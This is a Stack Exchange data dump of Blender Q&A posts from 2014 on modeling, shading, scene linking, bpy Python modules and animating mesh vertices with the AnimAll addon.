  <row Id="9333" PostTypeId="1" AcceptedAnswerId="9334" CreationDate="2014-05-12T20:24:01.243" Score="4" ViewCount="3970" Body="&lt;p&gt;First of all, I just began exploring blender and I'm going through some tutorials right now.&#xA;I'm stuck on finding the options in the Specials menu after pressing &lt;kbd&gt;W&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w7EJT.png&quot; alt=&quot;no options shown&quot;&gt;&lt;br&gt;&#xA;Can somebody help me out with this?&lt;br&gt;&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3464" LastEditorUserId="2173" LastEditDate="2014-05-13T01:24:18.227" LastActivityDate="2014-05-13T01:24:18.227" Title="Options are missing in the Specials menu" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9334" PostTypeId="2" ParentId="9333" CreationDate="2014-05-12T20:26:42.590" Score="4" Body="&lt;p&gt;The options available by pressing &lt;kbd&gt;W&lt;/kbd&gt; are context sensitive -- they differ depending on what mode you are in, i.e. Edit mode, Object mode, etc., and also what type of scenario you are in. For example, if you are in Edit mode with a mesh object, you will get different Special Options than if you are in Edit mode with a curve object.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-05-12T20:26:42.590" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9335" PostTypeId="2" ParentId="9328" CreationDate="2014-05-12T21:07:46.243" Score="8" Body="&lt;p&gt;As an alternative to background images (which can't be displayed in perspective), you could use an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Empties&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Image empty&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Empty &gt; Image&lt;/em&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image empties can be rotated, scaled, and translated just like any other object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make empties transparent by adjusting the &lt;em&gt;Transparency&lt;/em&gt; slider in &lt;em&gt;Properties &gt; Object data &gt; Empty&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sr74o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that when using transparent image empties, they will not be correctly drawn when they are not selected if &lt;em&gt;Transparency&lt;/em&gt; is unchecked in &lt;em&gt;Properties &gt; Object &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VCctI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-12T21:07:46.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9336" PostTypeId="2" ParentId="9330" CreationDate="2014-05-12T21:13:21.900" Score="5" Body="&lt;p&gt;I am not entirely sure what you are trying to create but this is my guess.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If your object doesn't already have a UV map, create one&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There are a few automatic ways of doing this. You could use smart project but in this case I am going to use the Cube Project for the iPhone.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an Anisotropic material to your object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the material editor add an Input -&gt; Tangent node and set the &lt;em&gt;Direction&lt;/em&gt; to &lt;em&gt;UV Map&lt;/em&gt; than select your UV map&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect the Tangent node output to the Anisotropic node's Tangent input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yuEM8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6huN4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1448" LastEditDate="2014-05-13T17:44:51.140" LastActivityDate="2014-05-13T17:44:51.140" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9338" PostTypeId="2" ParentId="9325" CreationDate="2014-05-13T00:36:09.033" Score="7" Body="&lt;p&gt;A series of narrow/thin faces like this will easily lead to such problem if the &quot;big face&quot; isn't as flat as they were coplanar. So the main problem here is about topology actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try following steps to solve this issue:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all narraow/thin faces that form the &quot;big face&quot;, then press &lt;kbd&gt;F&lt;/kbd&gt; (or &lt;kbd&gt;X&lt;/kbd&gt; &gt; Dissolve Faces) to make it as a big Ngon face;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Spacebar&lt;/kbd&gt; and search for &lt;strong&gt;Split Non-Planar Faces&lt;/strong&gt; (or access from &lt;strong&gt;Mesh &gt; Clean up &gt; Split Non-Planar Faces&lt;/strong&gt;); &lt;kbd&gt;F6&lt;/kbd&gt; to adjust the max split angle until you get the expected result. (In your particular case, setting to 0° will triangulate it too, which means you can ignore step 3 below);&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; to split Ngon faces into triangles. (optional)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0mtV8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; For Step 2, You can also split it manually instead. Two nice ways are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;K&lt;/kbd&gt; to enable &lt;strong&gt;Knife&lt;/strong&gt; tool, then cut line(s) on the big face;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select two vertices, then &lt;kbd&gt;J&lt;/kbd&gt; to connect them by adding a new edge on that face.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Either way above can help when doing retopology.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you really don't want to change the topology too much, then a quick and dirty way at least would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ltZdW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-13T01:25:24.563" LastActivityDate="2014-05-13T01:25:24.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9339" PostTypeId="1" CreationDate="2014-05-13T02:01:27.733" Score="4" ViewCount="522" Body="&lt;p&gt;I was trying to follow the famous &lt;a href=&quot;https://www.youtube.com/watch?v=y__uzGKmxt8&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coffee Cup Tutorial&lt;/a&gt;.  However, I wanted to make a more realistic, curvy handle, rather than a square one.  However, I end up with this situtation: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6frNw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply don't know any good ways of connecting objects with such different geometries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="2173" LastEditDate="2014-05-13T02:29:14.877" LastActivityDate="2014-05-14T22:38:37.200" Title="How do I join a many-faced mesh to a mesh with fewer faces?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9340" PostTypeId="2" ParentId="9339" CreationDate="2014-05-13T02:17:59.107" Score="12" Body="&lt;p&gt;You can use &lt;strong&gt;Bridge&lt;/strong&gt; tool.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the two loops you want to connect;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;W&lt;/kbd&gt;, choose &lt;em&gt;Bridge Edge Loops&lt;/em&gt; in the popup menu. More options for Bridge tool can be found in &lt;kbd&gt;F6&lt;/kbd&gt; menu.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/smv8n.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; However, such topology may not benefit Surface Subdivision. So, it's recommended to have even subdivision level for both cup and handle. Suggested workflow would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0rZDm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-13T03:11:52.040" LastActivityDate="2014-05-13T03:11:52.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9341" PostTypeId="2" ParentId="9339" CreationDate="2014-05-13T02:23:56.063" Score="0" Body="&lt;h2&gt;Union Boolean Modifier&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You do not specify for certain in your question if you &lt;strong&gt;require&lt;/strong&gt; the geometry of the two edge loops to match. With this in mind, if you &lt;strong&gt;do&lt;/strong&gt; want the geometries to match, use Leon's &lt;em&gt;Bridge Edge Loops&lt;/em&gt; answer. However, if you are ok with the geometeries &lt;em&gt;not&lt;/em&gt; matching, then one very easy way to do this is to join the handle and the cup with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Boolean&lt;/em&gt; modifier&lt;/a&gt; set to &lt;em&gt;Union&lt;/em&gt;. This method does not create new faces on the cup joining to each face of the handle. Nonetheless, it still will join the two. Here's how:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If your handle is a Curve object (rather than a mesh object), then convert it to a mesh object:&#xA;Select handle &amp;rarr; &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &amp;rarr; &lt;em&gt;Convert to Mesh&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Position the handle and the cup together like you'd like them to be joined. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Boolean&lt;/em&gt; modifier to the cup:&lt;br&gt;&#xA;Select cup &amp;rarr; &lt;em&gt;Object Properties&lt;/em&gt; window &amp;rarr; &lt;em&gt;Modifiers&lt;/em&gt; tab &amp;rarr; &lt;em&gt;Boolean&lt;/em&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For Boolean's options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;em&gt;Operation&lt;/em&gt; to &lt;em&gt;Union&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;em&gt;Object&lt;/em&gt; to the cup handle&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the &lt;em&gt;Apply&lt;/em&gt; button on the Boolean modifier and now the two will be joined:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RfIX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-14T22:38:37.200" LastActivityDate="2014-05-14T22:38:37.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9342" PostTypeId="2" ParentId="9330" CreationDate="2014-05-13T03:01:10.683" Score="7" Body="&lt;p&gt;Try using a glossy shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with just a single glossy shader you should be able to get an effect similar to your reference images, but you may &lt;a href=&quot;https://blender.stackexchange.com/q/3594/599&quot;&gt;also want to mix in a bit of diffuse shading&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v9eKJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rpmjz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the way your scene is lit will affect the result a lot, especially with glossy materials. For example, I used a mesh light above the &quot;iphone&quot; to give that highlight:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SxNj7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/6850/599&quot;&gt;Whiter white in cycles&lt;/a&gt; for some examples.&#xA;Also remember that the surrounding objects will affect reflections as well.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-05-13T03:01:10.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9343" PostTypeId="2" ParentId="9326" CreationDate="2014-05-13T04:32:52.763" Score="6" Body="&lt;p&gt;Scenes in blender are like separate environments, each one is visible independently and renders it's own output, while you can have linked objects that can be moved in each scene at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way of combining multiple scenes is to composite them together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely I think you want to import all of the objects from the other files into your container scene, not the scene itself. Your container scene can contain many imported objects from many different files. When you import objects from another file you can select all of the objects (press &lt;kbd&gt;A&lt;/kbd&gt; in the file browser) in one file and import them in one go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common method used when linking files is to assign a group to a number of objects and import the group into your container scene. Each group will then show up as one item visible in your container scene. With objects to be animated, this often includes an armature in the group. You can then make a proxy of the armature to allow animating it in the new file while the mesh can only be altered in the original file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an addon called Edit Linked Library that makes it easy to switch between files containing linked objects.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-13T04:32:52.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9344" PostTypeId="2" ParentId="9324" CreationDate="2014-05-13T07:26:42.367" Score="3" Body="&lt;p&gt;I would use a curve to show the lines. Setting the bevel_depth of a line gives a simple tube like result. By default this uses only four sides but you can increase the bevel_resolution to get a rounder result.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def createLine(lineName, pointList, thickness):&#xA;    # setup basic line data&#xA;    theLineData = bpy.data.curves.new(name=lineName,type='CURVE')&#xA;    theLineData.dimensions = '3D'&#xA;    theLineData.fill_mode = 'FULL'&#xA;    theLineData.bevel_depth = thickness&#xA;    # define points that make the line&#xA;    polyline = theLineData.splines.new('POLY')&#xA;    polyline.points.add(len(pointList)-1)&#xA;    for idx in range(len(pointList)):&#xA;        polyline.points[idx].co = (pointList[idx])+(1.0,)&#xA;&#xA;    # create an object that uses the linedata&#xA;    theLine = bpy.data.objects.new('LineOne',theLineData)&#xA;    bpy.context.scene.objects.link(theLine)&#xA;    theLine.location = (0.0,0.0,0.0)&#xA;&#xA;    # setup a material&#xA;    lmat = bpy.data.materials.new('Linematerial')&#xA;    lmat.diffuse_color = (0.0,0.0,1.0)&#xA;    lmat.use_shadeless = True&#xA;    theLine.data.materials.append(lmat)&#xA;&#xA;&#xA;inboundline = [(-0.98, 0.29, 0.44), (-0.18, 0.05, -0.20), (0.28, 0.57, -0.24)]&#xA;createLine('LineOne', inboundline, 0.05)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-13T07:26:42.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9348" PostTypeId="1" CreationDate="2014-05-13T16:33:15.767" Score="1" ViewCount="1887" Body="&lt;p&gt;Blender is eating GB's of HD space when rendering.&#xA;Its uses up around 5GB for a few hundred frames of animation and doesn't release it after its finished.&#xA;I gather this may have been because I had cache BVH ticked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on osx 10.9 but can't for the life of me find any BVH files?&#xA;How do i find them on a Mac, or is my problem elsewhere?&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2014-05-14T06:34:27.370" Title="Blender is eating GB's of HD space when rendering" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9351" PostTypeId="2" ParentId="9327" CreationDate="2014-05-13T22:28:59.160" Score="1" Body="&lt;p&gt;So I finally made it myself again after several hours of playing with the code (see I am actually FLASH ActionScript2 guy so it took me like 2 weeks to understand syntax of Python, its objects etc. and get used to it but now I have fully working script!!!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The right solution is this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ...some quite long code here and now:&#xA;for r in _mNews.links: &#xA;    _mOld.links.new(_mOld.nodes[r.from_node.name].outputs[r.from_socket.name], _mOld.nodes[r.to_node.name].inputs[r.to_socket.name])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3462" LastActivityDate="2014-05-13T22:28:59.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9353" PostTypeId="1" AcceptedAnswerId="9354" CreationDate="2014-05-14T01:58:07.350" Score="10" ViewCount="3672" Body="&lt;p&gt;When accessing items in a python script somethings are prefixed with &lt;code&gt;bpy.data&lt;/code&gt; some with &lt;code&gt;bpy.context&lt;/code&gt; and others with &lt;code&gt;bpy.ops&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between these prefixes?&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2017-04-23T19:20:24.063" Title="What is the difference between items listed in bpy.ops bpy.data and bpy.context" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9354" PostTypeId="2" ParentId="9353" CreationDate="2014-05-14T01:58:07.350" Score="23" Body="&lt;h2&gt;Short Version&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.data&lt;/code&gt; - all data in your blend file.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.context&lt;/code&gt; - data in the current active view.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.ops&lt;/code&gt; - tools which typically operate on &lt;code&gt;bpy.context&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Longer Explanation&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;&lt;code&gt;bpy.data&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;gives you access to all data in the blend file, every object, material, compositing node etc. in every scene (also the scenes themselves) can be accessed through &lt;code&gt;bpy.data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you would either loop over all datablocks, or get a specific item by name.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;code&gt;bpy.context&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;is context sensitive, it depends on the area your mouse is over, the selections you make and so on. It lists only a subset of &lt;code&gt;data&lt;/code&gt; such as the current scene, the active object etc. This is an easy way to have a script work on whatever object is selected rather than having to know it's name beforehand (&lt;code&gt;bpy.context.object&lt;/code&gt; refers to the active object, or is &lt;code&gt;None&lt;/code&gt; if there is no active object, &lt;code&gt;bpy.context.selected_objects&lt;/code&gt; is a list of the selected objects).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;code&gt;bpy.ops&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;is where you can access tools (operators) organized in categories, e.g. &lt;code&gt;bpy.ops.object.select_all()&lt;/code&gt; (&lt;code&gt;object&lt;/code&gt; is the category for object-related operations, together with &lt;code&gt;select_all&lt;/code&gt; it is the operator name and &lt;code&gt;()&lt;/code&gt; calls it). These perform the actions typically accessed in the user interface, referenced by menu items and key shortcuts. When you search through the spacebar menu, you are seeing a list of all operators, which are available in the current context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These three prefixes are the most common but there are others. &lt;code&gt;bpy.types&lt;/code&gt; contains all the types or &quot;classes&quot; used within Blender. You will also use &lt;code&gt;bpy.utils&lt;/code&gt; if you write an addon (mainly to register and unregister classes derived from bpy.types, e.g. to create own operators, menus, panels...). There are also some other modules available that aren't prefixed with &lt;code&gt;bpy&lt;/code&gt; such as &lt;code&gt;mathutils&lt;/code&gt; and &lt;code&gt;bmesh&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a list of all items available in Python you should look at &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;noreferrer&quot;&gt;Blenders Python API documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="55" LastEditDate="2014-05-15T01:23:41.293" LastActivityDate="2014-05-15T01:23:41.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9355" PostTypeId="1" CreationDate="2014-05-14T02:40:17.970" Score="20" ViewCount="34155" Body="&lt;p&gt;I would like to animate a mesh's geometry without using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Techs/Shape/Shape_Keys&quot;&gt;shape keys&lt;/a&gt;. Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-05-14T02:55:08.190" LastActivityDate="2018-11-03T11:07:00.710" Title="Is it possible to animate a mesh's geometry without using Shape Keys?" Tags="&lt;animation&gt;&lt;mesh&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="9356" PostTypeId="2" ParentId="9355" CreationDate="2014-05-14T02:40:17.970" Score="29" Body="&lt;h2&gt;AnimAll Addon&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Yes, you can do this very easily by using the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/AnimAll&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;AnimAll&lt;/em&gt;&lt;/a&gt; addon. &quot;AnimAll&quot; stands for &quot;Animate All&quot; because it enables you to animate many things that cannot normally be animated in Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how to use it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;First, open your User Preferences:&lt;br&gt;&#xA;&lt;em&gt;Info&lt;/em&gt; header → &lt;em&gt;File&lt;/em&gt; → &lt;em&gt;User Preferences&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DRS2G.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on &quot;Addons&quot; and in the search box, type animall, then enable it by clicking on the &lt;em&gt;Enable Addon&lt;/em&gt; checkbox on the far right hand side of the addon:&lt;br&gt;&#xA;(&lt;strong&gt;NOTE:&lt;/strong&gt; If you want to keep &lt;em&gt;AnimAll&lt;/em&gt; enabled, click &lt;em&gt;Save User Settings&lt;/em&gt; before closing the Preferences window)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ssbuT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the mesh you'd like to animate and go into &lt;em&gt;Edit&lt;/em&gt; mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now in the &lt;em&gt;Tools&lt;/em&gt; panel (&lt;kbd&gt;T&lt;/kbd&gt;), find the &lt;em&gt;AnimAll&lt;/em&gt; section and enable &lt;em&gt;Points&lt;/em&gt; -- this will allow you to animate the vertices of your mesh:&lt;br&gt;&#xA;(&lt;strong&gt;NOTE:&lt;/strong&gt; If you are using 2.70, &lt;em&gt;AnimAll&lt;/em&gt; will be in the &lt;em&gt;Animation&lt;/em&gt; tab in the &lt;em&gt;Tools&lt;/em&gt; panel. If you are using 2.69, it will be down at the very bottom of the &lt;em&gt;Tools&lt;/em&gt; panel) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nUpKT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Timeline&lt;/em&gt; window, make sure the green frame cursor is set to the frame you want the animation to begin. Here, it's set to frame 1:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uaGbd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now in the &lt;em&gt;AnimAll&lt;/em&gt; options, click the &lt;em&gt;Insert (Keyframes)&lt;/em&gt; button.&lt;br&gt;&#xA;(&lt;strong&gt;NOTE:&lt;/strong&gt; This will insert keyframes for every single vertex in the mesh, regardless of whether they are selected or not, so if the mesh has lots of vertices, it may take a while before Blender is done inserting all the keyframes)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eNZFR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Timeline&lt;/em&gt; window, move to the next important frame in your animation. Here, I'm moving to frame 75: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kj0Ce.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now alter your mesh's vertices as you like:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UaA39.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now insert keyframes for the vertices by again clicking &lt;em&gt;Insert (Keyframes)&lt;/em&gt; button in &lt;em&gt;AnimAll&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now exit &lt;em&gt;Edit&lt;/em&gt; mode and you can preview your animation by either clicking the &lt;em&gt;Play&lt;/em&gt; button ( &lt;img src=&quot;https://i.stack.imgur.com/kpox8.png&quot; alt=&quot;enter image description here&quot;&gt; ) in the &lt;em&gt;Timeline&lt;/em&gt; window or with &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qcuc7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/AnimAll&quot; rel=&quot;noreferrer&quot;&gt;tutorial video on this page&lt;/a&gt; describes how to use all the many other powerful features of &lt;em&gt;AnimAll&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-05-14T02:40:17.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
